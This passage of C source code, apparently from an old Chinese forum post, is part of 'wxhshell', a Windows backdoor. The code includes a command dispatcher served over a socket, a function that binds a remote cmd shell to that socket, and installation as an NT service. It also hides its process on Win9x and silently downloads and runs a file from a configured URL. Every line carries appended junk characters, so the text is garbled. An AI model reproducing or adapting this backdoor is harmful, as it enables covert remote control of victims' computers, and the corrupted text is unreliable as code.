  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?GNR ab  
  } 6Zn[l,\  
  else { J[?oV;O  
jRC{8^98  
    switch(cmd[0]) { qpe9?`vVX  
  oQ]FyV  
  // 帮助 Ry X11XU  
  case '?': { *(yw6(9%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c{1)- &W  
    break; ? 3fnt"  
  } Zj]tiN f\"  
  // 安装 2*w`l|Sx  
  case 'i': { npkT>dB+  
    if(Install()) <Nrtkf4-O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Y)z{o>P  
    else >Um(gbG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )fXw~  
    break; F~eYPaEKy!  
    } >Vq07R  
  // 卸载 /'DAB**  
  case 'r': { 4uO88[=  
    if(Uninstall()) xM<aQf\j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OCdX'HN5Y  
    else ;U?=YSHk7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0AWxU?$A4  
    break; "B__a(  
    } }o!b3*#  
  // 显示 wxhshell 所在路径 WP\kg\o  
  case 'p': { ?E!M%c@,  
    char svExeFile[MAX_PATH]; 7CR#\&h`  
    strcpy(svExeFile,"\n\r"); +pq=i  
      strcat(svExeFile,ExeFile); ,|$1(z*a{c  
        send(wsh,svExeFile,strlen(svExeFile),0); 9s5s;ntz"  
    break; ck `td%  
    } SbUac<  
  // 重启 sqhIKw@  
  case 'b': { 63\ CE_p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j-J/yhWO&  
    if(Boot(REBOOT)) [g"nu0sOK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z[[qrR  
    else {  ) 4t%?wT  
    closesocket(wsh); #s\yO~F-  
    ExitThread(0); `dX0F=Ag?  
    } Z"Lr5'}  
    break; 4s|qxCks  
    } w]xr ~D+  
  // 关机 #lMIs4i.  
  case 'd': { 8v/,< eARJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MX#LtCG#V  
    if(Boot(SHUTDOWN)) =[aiW|Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A?n5;mvq#  
    else { bydI+pVMo  
    closesocket(wsh); Q1kM 4Up  
    ExitThread(0); Qo3Enwap=  
    } DQu)?Rsk  
    break; s^PsA9EAn  
    } 9Ut eD@*  
  // 获取shell tIV9Y=ckr0  
  case 's': { vAG|Y'aO@%  
    CmdShell(wsh); f\$_^dV  
    closesocket(wsh); cY!Pv  
    ExitThread(0); 6:QlHuy0nH  
    break; t; #@t/`  
  } - 8"K|ev  
  // 退出 *7*cWO=  
  case 'x': { *=O3kUoL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UnVa`@P^:G  
    CloseIt(wsh); ib> ~3s;  
    break; 4yTgH0(T  
    } t&JOASYC  
  // 离开 `N}V i6FG  
  case 'q': { y~OP9Tg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mIrN~)C4\  
    closesocket(wsh); FnOa hLS  
    WSACleanup(); >U\P^yU  
    exit(1); ]T5\LNyN  
    break; <ir]bQT  
        } By[M|4a  
  } 5(1c?biP&  
  } :>ca).cjac  
b O}&i3.L;  
  // 提示信息 k]-Q3 V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _I,GH{lhI  
} VL"Cxs  
  } fO#nSB/ 8  
:! $+dr(d  
  return; VS`{k^^  
} OqH3. @eK  
58mpW`Q  
// shell模块句柄 Z"Q9^;0%  
int CmdShell(SOCKET sock) 'Zex/:QS  
{ sc-hO9~k  
STARTUPINFO si; !H)!b#_  
ZeroMemory(&si,sizeof(si)); l*CCnqE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h{\S'8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ($UUgjv F  
PROCESS_INFORMATION ProcessInfo; >^,?0HP  
char cmdline[]="cmd"; gCRPaF6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;2 ?fz@KZ  
  return 0; XCyb[(4  
} m#_M"B.cm  
&>Z;>6J,  
// 自身启动模式 [\fwnS_1  
int StartFromService(void) E}0g  
{ 1jBIi  
typedef struct Xyz/CZPi  
{ e*I92  
  DWORD ExitStatus; iW9  
  DWORD PebBaseAddress; 5TeGdfu @  
  DWORD AffinityMask; rkdA4'66w  
  DWORD BasePriority; M djxTr^  
  ULONG UniqueProcessId; 6N Ogi  
  ULONG InheritedFromUniqueProcessId; bQN3\mvY  
}   PROCESS_BASIC_INFORMATION;  )L":I  
&Wdi 5T8  
PROCNTQSIP NtQueryInformationProcess; !"E/6z2&(k  
i&)([C0z$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V+U89j1g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wi\k&V.mE  
j}J=ZLr/V"  
  HANDLE             hProcess; _ q>|pt.W  
  PROCESS_BASIC_INFORMATION pbi; ,j(E>g3  
]w4?OK(j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >s.y1Vg~C  
  if(NULL == hInst ) return 0; CZy3]O"qW  
g{>0Pa 1?C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .Tw:Y,G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WD kE 5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i>-#QKqJ  
.>}Z3jUrf  
  if (!NtQueryInformationProcess) return 0; 8y[Rwa  
#l9sQ-1Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &(p5z4Df  
  if(!hProcess) return 0; pnL[FMc  
hc9 ON&L\>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jWvi% I qi  
xd"+ &YT  
  CloseHandle(hProcess); u2fp~.'P  
?V~vP%1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )3 f\H  
if(hProcess==NULL) return 0; q^ &r<i  
z/WGL  
HMODULE hMod; !`W0;0'Zg  
char procName[255]; c|k(_#\B  
unsigned long cbNeeded; Ff =%eg]  
VKlC`k8L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]vV)$xMX  
`6#s+JA[  
  CloseHandle(hProcess); VH+3o?nrT  
1TGE>HG  
if(strstr(procName,"services")) return 1; // 以服务启动 w7q6v>  
 3U!=R-  
  return 0; // 注册表启动 |S<!'rY  
} gg#lI|  
~oK0k_{~  
// 主模块 79o=HiOF99  
int StartWxhshell(LPSTR lpCmdLine) \W=Z`w3  
{ ^;[_CF _  
  SOCKET wsl; $Tt.r  
BOOL val=TRUE; ]HXHz(?;F  
  int port=0; /3sX>Rj  
  struct sockaddr_in door; s%~Nx3,  
0~[M[T\  
  if(wscfg.ws_autoins) Install(); 'V <ZmJ2  
Be^"sC  
port=atoi(lpCmdLine); ~Dw% d;  
n\BV*AH  
if(port<=0) port=wscfg.ws_port; */@I$*  
:hWG:`  
  WSADATA data; +^AAik<yl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;nAx@_ab^  
 <pD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zYWVz3l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V|awbff:  
  door.sin_family = AF_INET; Tks1gN^^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nKEw$~F  
  door.sin_port = htons(port); +9yMtR  
d@b2XCh<K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eE;j#2SEO  
closesocket(wsl); ' eWG v  
return 1; QvOl-Lfc  
} 4N3O<)C)@  
"&;X/~j  
  if(listen(wsl,2) == INVALID_SOCKET) { *M>~$h7  
closesocket(wsl); w`M`F<_\:  
return 1; RjrQDh|((  
} DFRgn  
  Wxhshell(wsl); O9ro{ k  
  WSACleanup(); vD/l`Ib:  
u{D]Kc?n  
return 0; ^R(=4%8%"  
^AXH}g  
} :DuEv:;v  
P"@^BQ4  
// 以NT服务方式启动 TXs&*\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uI9+@oV  
{ hew"p(`  
DWORD   status = 0; adgd7JjI*  
  DWORD   specificError = 0xfffffff;  s%5XBI  
,u- 9e4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]'hel#L;l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mGmZ}H'{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "W9z>ezp  
  serviceStatus.dwWin32ExitCode     = 0; ^![7X'!;pt  
  serviceStatus.dwServiceSpecificExitCode = 0; ^ 6Yt2Bhs  
  serviceStatus.dwCheckPoint       = 0; VrhHcvnZ  
  serviceStatus.dwWaitHint       = 0; "kIlxf3  
+<B"g{dLuX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4((p?jb C  
  if (hServiceStatusHandle==0) return; {Dy,u%W?  
N\?__WlBK7  
status = GetLastError(); 0Xn,q]@Z  
  if (status!=NO_ERROR) pDhUD}1G  
{ ;DKJ#tS}"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N{M25ucAHl  
    serviceStatus.dwCheckPoint       = 0; dAOJ: @y  
    serviceStatus.dwWaitHint       = 0; Kf,AnKkn'  
    serviceStatus.dwWin32ExitCode     = status; hm<:\(q  
    serviceStatus.dwServiceSpecificExitCode = specificError; A4KkX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OekE]`~w  
    return; jj ' epbA  
  } =k1sF3.V'c  
']1a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nCA~=[&H  
  serviceStatus.dwCheckPoint       = 0; REsw=P!b  
  serviceStatus.dwWaitHint       = 0; I'2I'x\M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8"V1h72vcW  
} Y%r>=Jvu6  
qIh9? |`U  
// 处理NT服务事件,比如:启动、停止 `ah"Q;d$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N6%L4v8-}X  
{ Q;nC #cg  
switch(fdwControl) 5HY0 *\  
{ g-m,n=qu  
case SERVICE_CONTROL_STOP: %):pfM;b  
  serviceStatus.dwWin32ExitCode = 0; h2?\A%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3m$Qd#|  
  serviceStatus.dwCheckPoint   = 0; VT#`l0I }  
  serviceStatus.dwWaitHint     = 0; |S:erYE,G  
  { >S{8sN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NJQy*~P  
  } 2 zX9c<S=5  
  return; $) qL=kR  
case SERVICE_CONTROL_PAUSE: g{2~G6%;0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G6JP3dOT  
  break; ~HKzqGQy >  
case SERVICE_CONTROL_CONTINUE: %8YUK/(|n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '0I>  
  break; um( xZ6&m  
case SERVICE_CONTROL_INTERROGATE: Q `-Xx  
  break; z('t#J!b  
}; |~rKDc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {yd(n_PqY  
} qc' ;<  
HTm`_}G9  
// 标准应用程序主函数 >8$Lqj^i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ::cI4D  
{ L{&Yh|}  
)YwLj&e4tf  
// 获取操作系统版本 oP:R1<  
OsIsNt=GetOsVer(); QDb8W*&<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?_T[]I'  
g+?2@L$L  
  // 从命令行安装 \,lIPA/L  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7fl{<uf  
s={IKU&m[  
  // 下载执行文件 e :T9f('  
if(wscfg.ws_downexe) { GSfU*@L3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >CHb;*U  
  WinExec(wscfg.ws_filenam,SW_HIDE); T?tZ?!6  
} la^K|!|  
_({wJ$aYC  
if(!OsIsNt) { # 00?]6`z  
// 如果时win9x,隐藏进程并且设置为注册表启动 {V8uk $  
HideProc(); u?'J1\z  
StartWxhshell(lpCmdLine); p$*P@qm  
} 4jjo%N  
else }I18|=TB  
  if(StartFromService()) J(P'!#z^  
  // 以服务方式启动 DH4IF i>  
  StartServiceCtrlDispatcher(DispatchTable); s;sr(34  
else ^ _W] @m2  
  // 普通方式启动 j^h:*rw  
  StartWxhshell(lpCmdLine); J'k^(ZZ  
8VC%4+.FF  
return 0; sNMF(TY  
}
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只看该作者 1 发表于: 2006-10-10
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